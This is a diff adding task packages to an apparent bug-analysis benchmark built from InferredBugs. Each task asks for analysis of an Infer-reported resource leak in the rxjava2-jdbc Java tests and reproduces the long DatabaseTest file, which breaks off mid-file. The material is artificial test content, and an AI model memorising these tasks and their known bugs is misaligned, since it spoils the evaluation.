+                .transactedValuesOnly() //
+                .getAs(Integer.class) //
+                .map(x -> x.value()) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValues(21, 34) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testBlockingDatabaseTransactedNested() {
+        Database db = blocking();
+        db.select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .transactedValuesOnly() //
+                .getAs(Integer.class) //
+                .flatMap(tx -> tx.select("select name from person where score=?") //
+                        .parameter(tx.value()) //
+                        .valuesOnly() //
+                        .getAs(String.class))
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValues("FRED", "JOSEPH") //
+                .assertComplete();
+    }
+
+    public interface PersonWithDefaultMethod {
+        @Column
+        String name();
+
+        @Column
+        int score();
+
+        public default String nameLower() {
+            return name().toLowerCase();
+        }
+    }
+
+    interface PersonWithDefaultMethodNonPublic {
+        @Column
+        String name();
+
+        @Column
+        int score();
+
+        default String nameLower() {
+            return name().toLowerCase();
+        }
+    }
+
+    interface PersonDistinct1 {
+        @Column
+        String name();
+
+        @Column
+        int score();
+
+    }
+
+    interface PersonDistinct2 {
+        @Column
+        String name();
+
+        @Column
+        int score();
+
+    }
+
+    interface Score {
+        @Column
+        int score();
+    }
+
+    interface Person {
+        @Column
+        String name();
+    }
+
+    interface Person2 {
+        @Column
+        String name();
+
+        @Column
+        int score();
+    }
+
+    interface Person3 {
+        @Column("name")
+        String fullName();
+
+        @Column("score")
+        int examScore();
+    }
+
+    interface Person4 {
+        @Column("namez")
+        String fullName();
+
+        @Column("score")
+        int examScore();
+    }
+
+    interface Person5 {
+        @Index(1)
+        String fullName();
+
+        @Index(2)
+        int examScore();
+    }
+
+    interface Person6 {
+        @Index(1)
+        String fullName();
+
+        @Index(3)
+        int examScore();
+    }
+
+    interface Person7 {
+        @Index(1)
+        String fullName();
+
+        @Index(0)
+        int examScore();
+    }
+
+    interface Person8 {
+        @Column
+        int name();
+    }
+
+    interface Person9 {
+        @Column
+        String name();
+
+        @Index(2)
+        int score();
+    }
+
+    interface PersonNoAnnotation {
+        String name();
+    }
+
+    @Query("select name, score from person order by name")
+    interface Person10 {
+
+        @Column
+        String name();
+
+        @Column
+        int score();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.davidmoten.rx.jdbc.Database` acquired by call to `db()` at line 562 is not released after line 566.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DatabaseTest.testSelectAutomappedTransactedValuesOnly()
+
+### Procedure Id:
+org.davidmoten.rx.jdbc.DatabaseTest.testSelectAutomappedTransactedValuesOnly():void.c75ef8a8e39302b9e307ec9b3be5164d
+
+### File:
+src/test/java/org/davidmoten/rx/jdbc/DatabaseTest.java
+
+### Key:
+DatabaseTest.java|testSelectAutomappedTransactedValuesOnly|RESOURCE_LEAK
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+3cad938ee7ffe0293e4ef1db28130eea
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10887/instruction.md b/inferredbugs-10887/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b1e3eb7f59691bd4463e761774de5350b34078b0
--- /dev/null
+++ b/inferredbugs-10887/instruction.md
@@ -0,0 +1,2367 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rxjava2-jdbc
+**Bug ID:** 29
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.davidmoten.rx.jdbc;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.Reader;
+import java.sql.Blob;
+import java.sql.Clob;
+import java.sql.Connection;
+import java.sql.SQLException;
+import java.sql.SQLSyntaxErrorException;
+import java.sql.Time;
+import java.sql.Timestamp;
+import java.time.Instant;
+import java.time.ZoneOffset;
+import java.time.ZonedDateTime;
+import java.util.Arrays;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.GregorianCalendar;
+import java.util.List;
+import java.util.Optional;
+import java.util.concurrent.CopyOnWriteArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import org.apache.log4j.Level;
+import org.apache.log4j.LogManager;
+import org.davidmoten.rx.jdbc.annotations.Column;
+import org.davidmoten.rx.jdbc.annotations.Index;
+import org.davidmoten.rx.jdbc.annotations.Query;
+import org.davidmoten.rx.jdbc.exceptions.AnnotationsNotFoundException;
+import org.davidmoten.rx.jdbc.exceptions.AutomappedInterfaceInaccessibleException;
+import org.davidmoten.rx.jdbc.exceptions.ColumnIndexOutOfRangeException;
+import org.davidmoten.rx.jdbc.exceptions.ColumnNotFoundException;
+import org.davidmoten.rx.jdbc.exceptions.MoreColumnsRequestedThanExistException;
+import org.davidmoten.rx.jdbc.exceptions.NamedParameterFoundButSqlDoesNotHaveNamesException;
+import org.davidmoten.rx.jdbc.exceptions.NamedParameterMissingException;
+import org.davidmoten.rx.jdbc.exceptions.QueryAnnotationMissingException;
+import org.davidmoten.rx.jdbc.pool.DatabaseCreator;
+import org.davidmoten.rx.jdbc.pool.NonBlockingConnectionPool;
+import org.davidmoten.rx.jdbc.pool.Pools;
+import org.davidmoten.rx.jdbc.tuple.Tuple2;
+import org.davidmoten.rx.jdbc.tuple.Tuple3;
+import org.davidmoten.rx.jdbc.tuple.Tuple4;
+import org.davidmoten.rx.jdbc.tuple.Tuple5;
+import org.davidmoten.rx.jdbc.tuple.Tuple6;
+import org.davidmoten.rx.jdbc.tuple.Tuple7;
+import org.davidmoten.rx.jdbc.tuple.TupleN;
+import org.davidmoten.rx.pool.PoolClosedException;
+import org.h2.jdbc.JdbcSQLException;
+import org.hsqldb.jdbc.JDBCBlobFile;
+import org.hsqldb.jdbc.JDBCClobFile;
+import org.junit.Assert;
+import org.junit.FixMethodOrder;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runners.MethodSorters;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.github.davidmoten.guavamini.Lists;
+
+import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
+import io.reactivex.Completable;
+import io.reactivex.Flowable;
+import io.reactivex.Observable;
+import io.reactivex.Scheduler;
+import io.reactivex.Single;
+import io.reactivex.functions.Predicate;
+import io.reactivex.schedulers.Schedulers;
+import io.reactivex.schedulers.TestScheduler;
+import io.reactivex.subscribers.TestSubscriber;
+
+@FixMethodOrder(MethodSorters.NAME_ASCENDING)
+public class DatabaseTest {
+
+    private static final long FRED_REGISTERED_TIME = 1442515672690L;
+    private static final int NAMES_COUNT_BIG = 5163;
+    private static final Logger log = LoggerFactory.getLogger(DatabaseTest.class);
+    private static final int TIMEOUT_SECONDS = 2;
+
+    private static Database db() {
+        return DatabaseCreator.create(1);
+    }
+
+    private static Database blocking() {
+        return DatabaseCreator.createBlocking();
+    }
+
+    private static Database db(int poolSize) {
+        return DatabaseCreator.create(poolSize);
+    }
+
+    private static Database big(int poolSize) {
+        return DatabaseCreator.create(poolSize, true, Schedulers.computation());
+    }
+
+    @Test
+    public void testSelectUsingQuestionMark() {
+        try (Database db = db()) {
+            db.select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingNamedParameterList() {
+        try (Database db = db()) {
+            db.select("select score from person where name=:name") //
+                    .parameters(Parameter.named("name", "FRED").value("JOSEPH").list()) //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkFlowableParameters() {
+        try (Database db = db()) {
+            db.select("select score from person where name=?") //
+                    .parameterStream(Flowable.just("FRED", "JOSEPH")) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkFlowableParametersInLists() {
+        try (Database db = db()) {
+            db.select("select score from person where name=?") //
+                    .parameterListStream(
+                            Flowable.just(Arrays.asList("FRED"), Arrays.asList("JOSEPH"))) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testDrivingSelectWithoutParametersUsingParameterStream() {
+        try (Database db = db()) {
+            db.select("select count(*) from person") //
+                    .parameters(1, 2, 3) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValues(3, 3, 3) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkFlowableParametersTwoParametersPerQuery() {
+        try (Database db = db()) {
+            db.select("select score from person where name=? and score = ?") //
+                    .parameterStream(Flowable.just("FRED", 21, "JOSEPH", 34)) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkFlowableParameterListsTwoParametersPerQuery() {
+        try (Database db = db()) {
+            db.select("select score from person where name=? and score = ?") //
+                    .parameterListStream(
+                            Flowable.just(Arrays.asList("FRED", 21), Arrays.asList("JOSEPH", 34))) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkWithPublicTestingDatabase() {
+        try (Database db = Database.test()) {
+            db //
+                    .select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectWithFetchSize() {
+        try (Database db = db()) {
+            db.select("select score from person order by name") //
+                    .fetchSize(2) //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34, 25) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectWithFetchSizeZero() {
+        try (Database db = db()) {
+            db.select("select score from person order by name") //
+                    .fetchSize(0) //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34, 25) //
+                    .assertComplete();
+        }
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testSelectWithFetchSizeNegative() {
+        try (Database db = db()) {
+            db.select("select score from person order by name") //
+                    .fetchSize(-1);
+        }
+    }
+
+    @Test
+    public void testSelectUsingNonBlockingBuilder() {
+        NonBlockingConnectionPool pool = Pools //
+                .nonBlocking() //
+                .connectionProvider(DatabaseCreator.connectionProvider()) //
+                .maxIdleTime(1, TimeUnit.MINUTES) //
+                .idleTimeBeforeHealthCheck(1, TimeUnit.MINUTES) //
+                .checkoutRetryInterval(1, TimeUnit.SECONDS) //
+                .healthy(c -> c.prepareStatement("select 1").execute()) //
+                .returnToPoolDelayAfterHealthCheckFailure(1, TimeUnit.SECONDS) //
+                .maxPoolSize(3) //
+                .build();
+
+        try (Database db = Database.from(pool)) {
+            db.select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test(timeout = 40000)
+    public void testSelectUsingNonBlockingBuilderConcurrencyTest()
+            throws InterruptedException, TimeoutException {
+        info();
+        try {
+            try (Database db = db(3)) {
+                Scheduler scheduler = Schedulers.from(Executors.newFixedThreadPool(50));
+                int n = 10000;
+                CountDownLatch latch = new CountDownLatch(n);
+                AtomicInteger count = new AtomicInteger();
+                for (int i = 0; i < n; i++) {
+                    db.select("select score from person where name=?") //
+                            .parameters("FRED", "JOSEPH") //
+                            .getAs(Integer.class) //
+                            .subscribeOn(scheduler) //
+                            .toList() //
+                            .doOnSuccess(x -> {
+                                if (!x.equals(Lists.newArrayList(21, 34))) {
+                                    throw new RuntimeException("run broken");
+                                } else {
+                                    // System.out.println(iCopy + " succeeded");
+                                }
+                            }) //
+                            .doOnSuccess(x -> {
+                                count.incrementAndGet();
+                                latch.countDown();
+                            }) //
+                            .doOnError(x -> latch.countDown()) //
+                            .subscribe();
+                }
+                if (!latch.await(20, TimeUnit.SECONDS)) {
+                    throw new TimeoutException("timeout");
+                }
+                assertEquals(n, count.get());
+            }
+        } finally {
+            debug();
+        }
+    }
+
+    @Test(timeout = 5000)
+    public void testSelectConcurrencyTest() throws InterruptedException, TimeoutException {
+        debug();
+        try {
+            try (Database db = db(1)) {
+                Scheduler scheduler = Schedulers.from(Executors.newFixedThreadPool(2));
+                int n = 2;
+                CountDownLatch latch = new CountDownLatch(n);
+                AtomicInteger count = new AtomicInteger();
+                for (int i = 0; i < n; i++) {
+                    db.select("select score from person where name=?") //
+                            .parameters("FRED", "JOSEPH") //
+                            .getAs(Integer.class) //
+                            .subscribeOn(scheduler) //
+                            .toList() //
+                            .doOnSuccess(x -> {
+                                if (!x.equals(Lists.newArrayList(21, 34))) {
+                                    throw new RuntimeException("run broken");
+                                }
+                            }) //
+                            .doOnSuccess(x -> {
+                                count.incrementAndGet();
+                                latch.countDown();
+                            }) //
+                            .doOnError(x -> latch.countDown()) //
+                            .subscribe();
+                    log.info("submitted " + i);
+                }
+                if (!latch.await(5000, TimeUnit.SECONDS)) {
+                    throw new TimeoutException("timeout");
+                }
+                assertEquals(n, count.get());
+            }
+        } finally {
+            debug();
+        }
+    }
+
+    @Test
+    public void testDatabaseClose() {
+        try (Database db = db()) {
+            db.select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingName() {
+        try (Database db = db()) {
+            db //
+                    .select("select score from person where name=:name") //
+                    .parameter("name", "FRED") //
+                    .parameter("name", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingNameNotGiven() {
+        try (Database db = db()) {
+            db //
+                    .select("select score from person where name=:name and name<>:name2") //
+                    .parameter("name", "FRED") //
+                    .parameter("name", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertError(NamedParameterMissingException.class) //
+                    .assertNoValues();
+        }
+    }
+
+    @Test
+    public void testSelectUsingParameterNameNullNameWhenSqlHasNoNames() {
+        db() //
+                .select("select score from person where name=?") //
+                .parameter(Parameter.create("name", "FRED")) //
+                .getAs(Integer.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertError(NamedParameterFoundButSqlDoesNotHaveNamesException.class) //
+                .assertNoValues();
+    }
+
+    @Test
+    public void testUpdateWithNull() {
+        try (Database db = db()) {
+            db //
+                    .update("update person set date_of_birth = :dob") //
+                    .parameter(Parameter.create("dob", null)) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(3) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateClobWithNull() {
+        try (Database db = db()) {
+            insertNullClob(db);
+            db //
+                    .update("update person_clob set document = :doc") //
+                    .parameter("doc", Database.NULL_CLOB) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(1) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateClobWithClob() throws SQLException {
+        try (Database db = db()) {
+            Clob clob = new JDBCClobFile(new File("src/test/resources/big.txt"));
+            insertNullClob(db);
+            db //
+                    .update("update person_clob set document = :doc") //
+                    .parameter("doc", clob) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(1) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateClobWithReader() throws FileNotFoundException {
+        try (Database db = db()) {
+            Reader reader = new FileReader(new File("src/test/resources/big.txt"));
+            insertNullClob(db);
+            db //
+                    .update("update person_clob set document = :doc") //
+                    .parameter("doc", reader) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(1) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateBlobWithBlob() throws SQLException {
+        try (Database db = db()) {
+        Blob blob = new JDBCBlobFile(new File("src/test/resources/big.txt"));
+        insertPersonBlob(db);
+        db //
+                .update("update person_blob set document = :doc") //
+                .parameter("doc", blob) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateBlobWithNull() {
+        Database db = db();
+        insertPersonBlob(db);
+        db //
+                .update("update person_blob set document = :doc") //
+                .parameter("doc", Database.NULL_BLOB) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testSelectUsingNullNameInParameter() {
+        db() //
+                .select("select score from person where name=:name") //
+                .parameter(null, "FRED"); //
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testSelectUsingNameDoesNotExist() {
+        db() //
+                .select("select score from person where name=:name") //
+                .parameters("nam", "FRED");
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testSelectUsingNameWithoutSpecifyingNameThrowsImmediately() {
+        db() //
+                .select("select score from person where name=:name") //
+                .parameters("FRED", "JOSEPH");
+    }
+
+    @Test
+    public void testSelectTransacted() {
+        System.out.println("testSelectTransacted");
+        db() //
+                .select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .transacted() //
+                .getAs(Integer.class) //
+                .doOnNext(tx -> System.out.println(tx.isComplete() ? "complete" : tx.value())) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectAutomappedAnnotatedTransacted() {
+        db() //
+                .select(Person10.class) //
+                .transacted() //
+                .valuesOnly() //
+                .get().test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectAutomappedTransactedValuesOnly() {
+        db() //
+                .select("select name, score from person") //
+                .transacted() //
+                .valuesOnly() //
+                .autoMap(Person2.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectAutomappedTransacted() {
+        db() //
+                .select("select name, score from person") //
+                .transacted() //
+                .autoMap(Person2.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(4) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectTransactedTuple2() {
+        Tx<Tuple2<String, Integer>> t = db() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getAs(String.class, Integer.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values().get(0);
+        assertEquals("FRED", t.value()._1());
+        assertEquals(21, (int) t.value()._2());
+    }
+
+    @Test
+    public void testSelectTransactedTuple3() {
+        Tx<Tuple3<String, Integer, String>> t = db() //
+                .select("select name, score, name from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getAs(String.class, Integer.class, String.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values().get(0);
+        assertEquals("FRED", t.value()._1());
+        assertEquals(21, (int) t.value()._2());
+        assertEquals("FRED", t.value()._3());
+    }
+
+    @Test
+    public void testSelectTransactedTuple4() {
+        Tx<Tuple4<String, Integer, String, Integer>> t = db() //
+                .select("select name, score, name, score from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getAs(String.class, Integer.class, String.class, Integer.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values().get(0);
+        assertEquals("FRED", t.value()._1());
+        assertEquals(21, (int) t.value()._2());
+        assertEquals("FRED", t.value()._3());
+        assertEquals(21, (int) t.value()._4());
+    }
+
+    @Test
+    public void testSelectTransactedTuple5() {
+        Tx<Tuple5<String, Integer, String, Integer, String>> t = db() //
+                .select("select name, score, name, score, name from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getAs(String.class, Integer.class, String.class, Integer.class, String.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values().get(0);
+        assertEquals("FRED", t.value()._1());
+        assertEquals(21, (int) t.value()._2());
+        assertEquals("FRED", t.value()._3());
+        assertEquals(21, (int) t.value()._4());
+        assertEquals("FRED", t.value()._5());
+    }
+
+    @Test
+    public void testSelectTransactedTuple6() {
+        Tx<Tuple6<String, Integer, String, Integer, String, Integer>> t = db() //
+                .select("select name, score, name, score, name, score from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getAs(String.class, Integer.class, String.class, Integer.class, String.class,
+                        Integer.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values().get(0);
+        assertEquals("FRED", t.value()._1());
+        assertEquals(21, (int) t.value()._2());
+        assertEquals("FRED", t.value()._3());
+        assertEquals(21, (int) t.value()._4());
+        assertEquals("FRED", t.value()._5());
+        assertEquals(21, (int) t.value()._6());
+    }
+
+    @Test
+    public void testSelectTransactedTuple7() {
+        Tx<Tuple7<String, Integer, String, Integer, String, Integer, String>> t = db() //
+                .select("select name, score, name, score, name, score, name from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getAs(String.class, Integer.class, String.class, Integer.class, String.class,
+                        Integer.class, String.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values().get(0);
+        assertEquals("FRED", t.value()._1());
+        assertEquals(21, (int) t.value()._2());
+        assertEquals("FRED", t.value()._3());
+        assertEquals(21, (int) t.value()._4());
+        assertEquals("FRED", t.value()._5());
+        assertEquals(21, (int) t.value()._6());
+        assertEquals("FRED", t.value()._7());
+    }
+
+    @Test
+    public void testSelectTransactedTupleN() {
+        List<Tx<TupleN<Object>>> list = db() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getTupleN() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values();
+        assertEquals("FRED", list.get(0).value().values().get(0));
+        assertEquals(21, (int) list.get(0).value().values().get(1));
+        assertTrue(list.get(1).isComplete());
+        assertEquals(2, list.size());
+    }
+
+    @Test
+    public void testSelectTransactedCount() {
+        db() //
+                .select("select name, score, name, score, name, score, name from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .count() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectTransactedGetAs() {
+        db() //
+                .select("select name from person") //
+                .transacted() //
+                .getAs(String.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(4) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectTransactedGetAsOptional() {
+        List<Tx<Optional<String>>> list = db() //
+                .select("select name from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getAsOptional(String.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values();
+        assertTrue(list.get(0).isValue());
+        assertEquals("FRED", list.get(0).value().get());
+        assertTrue(list.get(1).isComplete());
+    }
+
+    @Test
+    public void testDatabaseFrom() {
+        Database.from(DatabaseCreator.nextUrl(), 3) //
+                .select("select name from person") //
+                .getAs(String.class) //
+                .count() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertError(JdbcSQLException.class);
+    }
+
+    @Test
+    public void testSelectTransactedChained() throws Exception {
+        Database db = db();
+        db //
+                .select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .transacted() //
+                .transactedValuesOnly() //
+                .getAs(Integer.class) //
+                .doOnNext(tx -> System.out.println(tx.isComplete() ? "complete" : tx.value()))//
+                .flatMap(tx -> tx //
+                        .select("select name from person where score = ?") //
+                        .parameter(tx.value()) //
+                        .valuesOnly() //
+                        .getAs(String.class)) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValues("FRED", "JOSEPH") //
+                .assertComplete();
+    }
+
+    @Test
+    public void databaseIsAutoCloseable() {
+        try (Database db = db()) {
+            log.debug(db.toString());
+        }
+    }
+
+    @Test
+    public void testSelectChained() {
+        System.out.println("testSelectChained");
+        // we can do this with 1 connection only!
+        Database db = db(1);
+        db.select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .getAs(Integer.class) //
+                .doOnNext(System.out::println) //
+                .concatMap(score -> {
+                    log.info("score={}", score);
+                    return db //
+                            .select("select name from person where score = ?") //
+                            .parameter(score) //
+                            .getAs(String.class) //
+                            .doOnComplete(() -> log.info("completed select where score=" + score));
+                }) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValues("FRED", "JOSEPH") //
+                .assertComplete(); //
+    }
+
+    @Test
+    @SuppressFBWarnings
+    public void testReadMeFragment1() {
+        Database db = Database.test();
+        db.select("select name from person") //
+                .getAs(String.class) //
+                .forEach(System.out::println);
+    }
+
+    @Test
+    public void testReadMeFragmentColumnDoesNotExistEmitsSqlSyntaxErrorException() {
+        Database db = Database.test();
+        db.select("select nam from person") //
+                .getAs(String.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(SQLSyntaxErrorException.class);
+    }
+
+    @Test
+    public void testReadMeFragmentDerbyHealthCheck() {
